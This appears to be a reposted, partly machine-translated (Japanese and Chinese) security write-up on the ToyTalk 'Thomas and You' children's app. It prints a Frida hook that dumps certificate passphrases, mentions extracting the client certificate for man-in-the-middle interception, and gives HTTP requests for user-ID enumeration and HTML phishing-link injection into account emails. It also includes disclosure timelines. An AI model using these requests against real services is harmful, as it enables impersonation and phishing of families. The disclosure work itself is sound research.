ToyTalk は、ピクサーの元幹部によって設立された人工知能玩具のスタートアップ企業であり、同社が設計したスマート トイには視覚追跡、音声認識、ネットワーク拡張機能が備わっており、子供たちがそれらと対話できるようになりますアプリを介して音声コミュニケーションと行動反応認識がおもちゃ間で行われ、仮想キャラクターと会話する子供の能力を刺激し、おもちゃとのインタラクションの楽しさをよりよく認識します。
ToyTalk は、子供たちが「有名な漫画のキャラクターと話す」ことができる「きかんしゃトーマス」の対話型チャットを可能にする、子供たちが対話できる「きかんしゃトーマス トーク トゥ ユー」という有料アプリを 2015 年 7 月にリリースしました。トーマスとその友人パーシー、ゴードン、ヘンリー、ジェームズ、エドワード、トビー、そして「ファットコントローラー」がソドー島への 8 つのストーリー旅行に出かけます。トップハム ハット卿は双方向の会話を行いました。
順番にToyTalk 玩具製品のセキュリティとホーム ネットワーク環境へのアクセスによって引き起こされるセキュリティ リスクをテストするために、「きかんしゃトーマスとその仲間たち」との双方向会話を行うことにしました。「チャット ウィズ ユー」APP について分析と調査を行いました。 ToyTalk 製品はすべて同じコードベースを使用しており、この Thomas Talk APP はインストールと削除が簡単であるため、テストに便利で、代表的なものにすることもできます。 Hello Dreamhouse (Barbie Dreamhouse) にも同じ脆弱性がある可能性があります。
#脆弱性 1: - 認証メカニズムの欠如、攻撃 攻撃者は簡単に子供のふりをすることができます。 Thomas Toy と会話してください
#脆弱性 2: - support@toytalk.com または他の登録ユーザーになりすまして、悪意のある HTML フィッシング リンクが挿入された電子メールを送信する可能性があります
「きかんしゃトーマスとおしゃべり」アプリの起動後、アプリが提供する音声認識機能の使用を確認するために保護者のメールアドレスが必要となります。
#最初は、確認の提供が必要なため、アプリによって公開される攻撃対象領域が非常に限られているように感じるかもしれません。
次に、APP のネットワーク ブラウジング傍受分析を実行します。分析中に、この APP が他のアプリケーションとは異なる認証方法を提供していることがわかりました。クライアント証明書、つまり、APP とその WEB サーバー間の相互認証プロセスも存在します。これに基づいて、まずクライアント証明書の動作メカニズムと関連するパスワード検証を確認する必要があります。
# 逆引きした結果、次の 2 つの関数の方が興味深いことがわかりました。public void setSslClientCertificate(String filename, String passphrase) { InputStream file = null; try { KeyStore store = KeyStore.getInstance("PKCS12"); file = this.mContext.getResources().getAssets().open(filename); store.load(file, passphrase.toCharArray()); this.mClientCertificate = KeyManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()); this.mClientCertificate.init(store, new char[0]); } catch (Exception e) { Log.OMG(e); } finally { Utils.close(file); } }
public void setSslCaCertificate(String filename, String passphrase) { InputStream file = null; try { KeyStore store = KeyStore.getInstance("BKS"); file = this.mContext.getResources().getAssets().open(filename); store.load(file, passphrase.toCharArray()); this.mCaCertificate = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()); this.mCaCertificate.init(store); } catch (Exception e) { Log.OMG(e); } finally { Utils.close(file); } }その後、パスワード入力関数の検索を逆引きし続けず、次の Python と frida フック関数を使用しました。 、パスワードとファイル名をダンプできます。さらに詳しく調べるためのスクリプト:
import frida import sys def on_message(message, data): print message device = frida.get_device_manager().enumerate_devices()[-1] pid = device.spawn(["com.toytalk.thomas"]) print (pid) session = device.attach(pid) ss = ''' Java.perform(function () { var MyClass = Java.use("com.toytalk.library.HttpRequester"); MyClass.setSslCaCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){ send(a); send(b); return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b); } MyClass.setSslClientCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){ send(a); send(b); return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b); } }) ''' script = session.create_script(ss) script.load() script.on('message', on_message) device.resume(pid) #session.detach() sys.stdin.read()幸いなことに、正しい認証証明書ファイルは apk から抽出でき、中間者攻撃の実行に使用できます ( MITM). 興味深いことに、toystalk.12 ファイルはパスワード保護を使用していません。
#「話す」ボタンが押されると、APP はキャプチャした音声ファイルを次の POST リクエスト メソッドでリモート Web サーバーに送信します:
虽然其中的发送内容涉及很多变量值,但通过把当前用户ID更改为其它用户ID后,就能把音频文件发送到指定的用户账户名下,这将会允许一些恶意攻击者向儿童父母发送一些淫秽音频信息。
在这种情况下,虽然用户ID是一个随机的全局惟一标识符(GUID),但我们可以根据邮箱地址等已知线索来发现一些有效的用户ID信息。
此外,通过在ToyTalk代码库上运行“strings”命令,我们也可以找到一些线索:
所以,根据上图信息,一旦客户端证书被安装到浏览器中后,通过访问地址:
https://api.toytalk.com/v3/account/
就能下载到一个包含用户ID的文件。有用户ID信息在手,就能更改POST请求中的ID信息,将对话音频发送到任何注册了该APP的邮箱地址中去。修复该漏洞的方法是要求提供正确的设备ID和相关联的用户ID。我们还没测试设备ID是否能以其它方法获取,但要向某个用户账号添加一个设备ID,貌似需要访问到关联的邮箱地址才行。
漏洞报送进程
2017.8.14 - 向ToyTalk报告漏洞
2017.11.16 - 被分类为一般漏洞并被初次修复,变为closed状态
2017.11.29 - ToyTalk再次测试发现漏洞仍然存在,并重置为reopen状态
2017.12.8 - 完全修复漏洞
2017.12.18 - 漏洞赏金发放并关闭漏洞报告
几天过后,我的朋友建议我学习一下ToyTalk的邮箱注入机制,这是在提交漏洞1后发生的。在使用诸如“Thomas And You”等APP应用注册设备时,它会将一封电子邮件发送到用户提供的邮箱地址中, 由于该电子邮件中包含了用户信息(设备名称),如果攻击者利用漏洞1方法获取到受害者的用户ID之后,那么,接下来可以修改电子邮件HTML中包含的设备名称,以该受害者用户ID为可信发件人,向其它受害者发送恶意钓鱼邮件,或任意更改过的邮件内容。
为了向受害者发送钓鱼邮件,攻击者先要用邮箱在该APP上进行注册,利用该注册邮箱地址,再用漏洞1方法获取到受害者用户ID,用以后续进行钓鱼邮件发送。
也即,首先,攻击者用受害者注册过的邮箱地址,执行以下请求,以获取到相应的受害者用户ID:
GET /v3/account/<email> HTTP/1.1 User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F) Host: api.2.toytalk.com Connection: close</email>
然后,再以该用户ID为可信发件人,用以下POST方式,向其它受害者发送包含钓鱼链接的恶意邮件内容:
POST /v3/account/<accountid>/email/consent?device_id=asdf&device_name=TEST%20DEVICE"%20<a>click%20here</a>&application=Thomas+And+You&always HTTP/1.1 Content-Type: text/plain Content-Length: 0 User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F) Host: api.2.toytalk.com Connection: close</accountid>
以上只是一个简单的PoC示例,它利用标签将HTML链接注入到邮件内容框架中,但如果花时间调整,也可以精心制作出一个更具迷惑性的钓鱼邮件来,例如,某位家长可以假冒support@toytalk.com邮件来欺骗其它家长的用户名密码信息。以下邮件内容包含钓鱼链接,是我们冒充toytalk官方发送的:
漏洞报送进程:
2017.12.4 - 提交漏洞
2017.12.12 - 官方致谢
2017.12.18 - 官方修复漏洞
2017.12.18 - 发布赏金并关闭漏洞报告
整体来说,两个漏洞的利用方式都存在一定的受限条件,但也侧面说明了大量APP在开发过程中忽视了全面的安全考虑。
以上がスマートトイAPP「きかんしゃトーマス」におけるチャットアプリケーションの脆弱性発見の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。